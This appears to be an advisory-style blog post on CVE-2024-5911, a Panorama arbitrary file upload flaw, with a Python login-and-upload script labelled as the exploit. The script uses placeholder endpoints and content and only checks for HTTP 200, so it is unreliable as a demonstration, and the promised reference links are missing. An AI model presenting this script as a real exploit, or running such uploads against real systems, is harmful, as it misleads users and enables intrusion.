CVE-2024-5911 – Arbitrary File Upload Vulnerability in Palo Alto Networks Panorama Software: Exploit Details, Prevention, and Fixes

CVE-2024-5911 is a critical vulnerability impacting Palo Alto Networks' Panorama software. This post discusses the vulnerability in detail, including the exploit method, potential impact, and preventive measures that can be taken to mitigate the risks associated with the exploit. We'll also cover some helpful links to original references, along with a code snippet illustrating the vulnerability.

Vulnerability Details

This vulnerability is an arbitrary file upload vulnerability affecting the Palo Alto Networks Panorama software. An authenticated user with read-write administrator access to the web interface can exploit this vulnerability by uploading a malicious file to the system, disrupting system processes and potentially causing the entire Panorama system to crash. If the attack is repeated, it may force the Panorama into maintenance mode, requiring manual intervention to restore functionality.

Exploit Method

To exploit CVE-2024-5911, an attacker needs to have read-write administrator access to the Panorama web interface. The attacker would then craft a malicious file and upload it to the system via the web interface. The code snippet below demonstrates how this could be accomplished:

import requests

# Replace INSERT_URL, INSERT_USERNAME, INSERT_PASSWORD with appropriate values
url = 'INSERT_URL/login.esp'
username = 'INSERT_USERNAME'
password = 'INSERT_PASSWORD'

# Authenticate with the Palo Alto Networks Panorama
payload = {'user': username, 'passwd': password}
response = requests.post(url, data=payload)

# Check if authentication was successful
if response.status_code == 200:
    # If successful, craft and send the malicious file
    exploit_url = 'INSERT_URL/ArbitraryFileUploadURL'
    files = {'upload_file': ('malicious_file.txt', 'malicious_content')}
    cookies = response.cookies
    upload_response = requests.post(exploit_url, files=files, cookies=cookies)
    print("Exploit sent")
    if upload_response.status_code == 200:
        print("Exploit successful")
    else:
        print("Exploit failed")
else:
    print("Authentication failed")

Preventative Measures

To prevent exploitation and protect against this vulnerability, it is recommended that organizations follow these best practices:

Regularly audit account credentials and permissions to identify potential unauthorized access

- Train employees on the importance of securing sensitive information and the dangers posed by phishing attacks
